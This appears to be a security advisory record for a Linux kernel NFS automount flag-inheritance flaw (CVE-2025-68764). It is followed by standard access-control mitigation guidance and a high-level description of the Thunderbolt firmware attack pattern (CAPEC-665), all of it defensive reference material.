"aliases": [
"CVE-2025-68764"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-05T10:15:57Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFS: Automounted filesystems should inherit ro,noexec,nodev,sync flags\n\nWhen a filesystem is being automounted, it needs to preserve the\nuser-set superblock mount options, such as the \"ro\" flag.",
"id": "GHSA-6pgh-g35q-vvjg",
"modified": "2026-10-15T03:35:01Z",
"published": "2026-01-05T12:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68764"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-019113.html"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-457936.html"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/4b296944e632cf4c6a4cc8e2585c6451eae47b1b"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/612cc98698d667df804792f0c47d4e501e66da29"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/8675c69816e4276b979ff475ee5fac4688f80125"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/a3dc6c40bcab1a888d5c0d134ccc0746b4c98929"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/ba1495aefd22fcf0746a2a3025c95d766d7cde4d"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/c09070b4def1b34e473a746c6a5331ccb80902c1"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/dce10c59211e5cd763a62ea01e79b82a629811e3"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/df9b003a2ecacc7218486fbb31fe008c93097d5f"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.